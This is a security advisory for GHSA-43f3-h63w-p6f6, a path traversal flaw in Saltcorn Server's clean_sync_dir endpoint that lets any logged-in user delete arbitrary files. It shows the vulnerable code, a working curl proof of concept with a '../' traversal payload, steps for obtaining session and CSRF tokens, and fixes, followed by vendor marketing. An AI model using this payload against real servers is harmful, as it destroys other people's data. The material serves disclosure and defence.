GHSA-43f3-h63w-p6f6
MEDIUMSaltcorn Server allows logged-in users to delete arbitrary files because of a path traversal vulnerability
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
@saltcorn/serverReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A logged-in user with any role can delete arbitrary files on the filesystem by calling the sync/clean_sync_dir endpoint. The dir_name POST parameter is not validated/sanitized and is used to construct the syncDir that is deleted by calling fs.rm.
Details
- file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.15/packages/server/routes/sync.js#L337-L346
router.post(
"/clean_sync_dir",
error_catcher(async (req, res) => {
const { dir_name } = req.body; // [1] source
try {
const rootFolder = await File.rootFolder();
const syncDir = path.join(
rootFolder.location,
"mobile_app",
"sync",
dir_name // [2]
);
await fs.rm(syncDir, { recursive: true, force: true }); // [3] sink
res.status(200).send("");
} catch (error) {
getState().log(2, `POST /sync/clean_sync_dir: '${error.message}'`);
res.status(400).json({ error: error.message || error });
}
})
);
PoC
The following PoC can be executed with a user with any role (admin, staff, user, public)
- create a file in a folder different from where the server is started:
touch /tmp/secret
cat /tmp/secret
- log with a user and retrieve valid
connect.sidand_csrfvalues*** - send the following
curlrequest
curl -i -X $'POST' \
-H $'Host: localhost:3000' \
-H $'Content-Type: application/x-www-form-urlencoded' \
-H $'Content-Length: 93' \
-H $'Origin: http://localhost:3000' \
-H $'Connection: close' \
-b $'connect.sid=VALID_CONNECT_SID_COOKIE; loggedin=true' \
--data-binary $'_csrf=VALID_CSRF_VALUE&dir_name=/../../../../../../../../../../tmp/secret' \
$'http://localhost:3000/sync/clean_sync_dir'
- check if the file previously created does not exist anymore:
cat /tmp/secret
cat: /tmp/secret: No such file or directory
*** obtain connect.sid and _csrf values
A possible way to retrieve connect.sid and _csrf values is to use the password reset functionality:
- log in
- open the browser developer console, go to the
Networktab filter forsettingsrequest - visit
http://localhost:3000/auth/settings - trigger the change password functionality
- under the
HeadersandRequesttabs, grab theconnect.sidand_csrfvalues and replace them in the curl command
Impact
Arbitrary file delete
Recommended Mitigation
Resolve the syncDir and check if it starts with rootFolder.location/mobile_app/sync.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @saltcorn/server | all versions | 1.0.0-beta.16 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @saltcorn/server. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @saltcorn/server to 1.0.0-beta.16 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-43f3-h63w-p6f6 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-43f3-h63w-p6f6 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-43f3-h63w-p6f6. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-43f3-h63w-p6f6 in your dependencies?
O3 detects GHSA-43f3-h63w-p6f6 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.